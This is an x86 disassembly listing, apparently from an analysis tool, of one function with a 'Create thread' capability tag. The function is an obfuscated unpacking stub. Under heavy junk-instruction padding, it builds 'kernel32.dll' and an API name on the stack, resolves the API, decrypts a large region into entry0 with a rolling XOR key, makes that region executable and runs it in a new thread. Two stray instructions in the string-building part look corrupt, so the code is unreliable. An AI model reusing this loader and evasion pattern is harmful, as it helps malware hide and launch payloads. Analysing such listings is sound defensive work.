Function at 0x5ee457
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push edx
pop edx
pushfd
push 0x17ae6da5
add esp, 4
popfd
call fcn.005ee853
push ecx
push edi
pop edi
pop ecx
lea eax, [ebp - 0xd8]
push ecx
pop ecx
push ecx
push edx
pop edx
pop ecx
mov ebx, 0x61
pushfd
push eax
add esp, 4
popfd
pushfd
xor edi, 0xa3d81501
xor edi, 0xa3d81501
popfd
add bx, 0xa
pushfd
xor ebx, 0x5353c3d1
xor ebx, 0x5353c3d1
popfd
mov edx, edx
mov word [eax], bx
pushfd
push 0x2a8befe7
add esp, 4
popfd
pushfd
xor ecx, 0xb23bf867
xor ecx, 0xb23bf867
popfd
sub bx, 6
pushfd
inc edi
dec edi
popfd
mov word [eax + 2], bx
push eax
push edi
pop edi
pop eax
add bx, 0xd
pushfd
push 0x3526349e
add esp, 4
popfd
pushfd
push 0xb5ecdf8f
add esp, 4
popfd
mov word [eax + 4], bx
push edx
push edi
pop edi
pop edx
pushfd
push 0x75e289be
add esp, 4
popfd
sub bx, 4
xchg ebx, ebx
pushfd
push edx
add esp, 4
popfd
mov word [eax + 6], bx
push ecx
push edx
pop edx
pop ecx
sub bx, 9
pushfd
push 0xed89d415
add esp, 4
popfd
mov word [eax + 8], bx
pushfd
push edx
add esp, 4
popfd
add bx, 7
mov edx, edx
push edx
pop edx
mov word [eax + 0xa], bx
xchg ebx, eax
xchg ebx, eax
xchg edi, edx
xchg edx, edi
sub bx, 0x39
push ecx
pop ecx
pushfd
xor ebx, 0xab6ebf73
xor ebx, 0xab6ebf73
popfd
mov word [eax + 0xc], bx
pushfd
inc eax
dec eax
popfd
nop
dec bx
pushfd
push edi
add esp, 4
popfd
pushfd
push 0x84689704
add esp, 4
popfd
mov word [eax + 0xe], bx
xchg ecx, ecx
sub bx, 4
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 0x10], bx
mov edx, edx
add bx, 0x36
push ecx
pop ecx
mov word [eax + 0x12], bx
xchg edx, eax
xchg edx, eax
pushfd
xor esi, 0x62ca0173
xor esi, 0x62ca0173
popfd
add bx, 8
mov ecx, ecx
mov word [eax + 0x14], bx
pushfd
push 0x119471f3
add esp, 4
popfd
mov word [eax + 0x16], bx
push edi
pop edi
mov word [eax + 0x18], 0
push ecx
push edx
pop edx
pop ecx
pushfd
xor edi, 0xeb516f70
xor edi, 0xeb516f70
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push 0xd68d0717
add esp, 4
popfd
pushfd
push 0x67f184a5
add esp, 4
popfd
mov dword [ebp - 0x10], eax
pushfd
push ebx
add esp, 4
popfd
lea eax, [ebp - 0xd8]
push ecx
push esi
pop esi
pop ecx
mov ebx, 0x61
pushfd
push 0x2870eea9
add esp, 4
popfd
push ebx
push esi
pop esi
pop ebx
sub bl, 0xb
pushfd
push eax
add esp, 4
popfd
pushfd
push edx
add esp, 4
popfd
mov byte [eax], bl
pushfd
push 0xcc338293
add esp, 4
popfd
add bl, 0x13
mov esi, esi
mov byte [eax + 1], bl
push ebx
push eax
pop eax
pop ebx
xchg esi, edi
xchg edi, esi
add bl, 9
xchg esi, esi
mov edx, edx
mov byte [eax + 2], bl
pushfd
inc ebx
dec ebx
popfd
xchg edi, eax
xchg edi, eax
add bl, 2
push eax
pop eax
mov byte [eax + 3], bl
pushfd
push 0x5371bc8f
add esp, 4
popfd
inc bl
pushfd
inc ebx
dec ebx
popfd
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 4], bl
xchg ecx, ebx
xchg ebx, ecx
sub bl, 0x14
nop
mov edx, edx
mov byte [eax + 5], bl
mov ebx, ebx
add bl, 0xb
xchg ecx, edx
xchg edx, ecx
push edi
push esi
pop esi
pop edi
mov byte [eax + 6], bl
pushfd
inc edx
dec edx
popfd
sub bl, 0x1c
xchg ebx, eax
xchg ebx, eax
push edx
push edi
pop edi
pop edx
mov byte [eax + 7], bl
pushfd
xor eax, 0x4e6d2f67
xor eax, 0x4e6d2f67
popfd
add bl, 0x22
mov edx, edx
xchg edi, ebx
xchg ebx, edi
mov byte [eax + 8], bl
push ecx
push edi
pop edi
pop ecx
sub bl, 3
pushfd
push 0xc2234a89
add esp, 4
popfd
mov ecx, ecx
mov byte [eax + 9], bl
or dword [edx + eax*2 - 0x3c7f62b6], ebx
add eax, 0xf689f689
mov byte [eax + 0xa], bl
xchg ebx, ebx
pushfd
push edi
add esp, 4
popfd
sub bl, 0xf
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0xb], bl
xchg edi, eax
xchg edi, eax
sub bl, 2
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
push edx
add esp, 4
popfd
xchg edx, edx
add bl, 0x11
pushfd
push 0xb50b15c6
add esp, 4
popfd
mov byte [eax + 0xd], bl
pushfd
xor esi, 0x2001af75
xor esi, 0x2001af75
popfd
xchg ecx, ebx
xchg ebx, ecx
mov byte [eax + 0xe], 0
push esi
push ecx
pop ecx
pop esi
pushfd
inc ecx
dec ecx
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
inc edx
dec edx
popfd
mov dword [ebp - 0xc], eax
push edx
push esi
pop esi
pop edx
mov edx, edx
lea eax, [ebp - 8]
push ebx
pop ebx
push eax
push 4
push 0x148d87
push entry0
call dword [ebp - 0xc]
pushfd
inc edi
dec edi
popfd
xchg edx, eax
xchg edx, eax
mov edi, entry0
pushfd
push 0xe1e207df
add esp, 4
popfd
mov esi, 0x40100e
push eax
push edi
pop edi
pop eax
push eax
push ecx
pop ecx
pop eax
mov ecx, 0x148d87
push eax
push edi
pop edi
pop eax
push ebx
pop ebx
mov edx, 0xae9724ec
xchg edx, edx
mov ebx, 0x78f33903
pushfd
inc eax
dec eax
popfd
pushfd
inc esi
dec esi
popfd
cld
mov edi, edi
lodsb al, byte [esi]
xchg ecx, ecx
xor al, dl
xchg esi, esi
stosb byte es:[edi], al
xchg esi, esi
ror edx, 5
mov esi, esi
imul edx, edx, 7
xchg ecx, ecx
test ebx, 1
xchg ebx, ebx
je 0x5ee7c2
xchg edx, edx
add esi, 1
nop
ror ebx, 1
mov esi, esi
dec ecx
mov edi, edi
test ecx, ecx
mov ecx, ecx
jne 0x5ee79c
xchg edx, eax
xchg edx, eax
nop
lea eax, [ebp - 8]
pushfd
xor ebx, 0xc5925f7a
xor ebx, 0xc5925f7a
popfd
pushfd
inc ecx
dec ecx
popfd
push eax
push 0x20
push 0x148d87
push entry0
call dword [ebp - 0xc]
pushfd
push 0x6ef2d17f
add esp, 4
popfd
lea eax, [ebp - 4]
xchg ebx, ebx
mov eax, eax
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
xchg esi, edi
xchg edi, esi
push ebx
pop ebx
pushfd
inc esi
dec esi
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg esi, eax
xchg esi, eax
push ecx
pop ecx
jmp 0x5ee820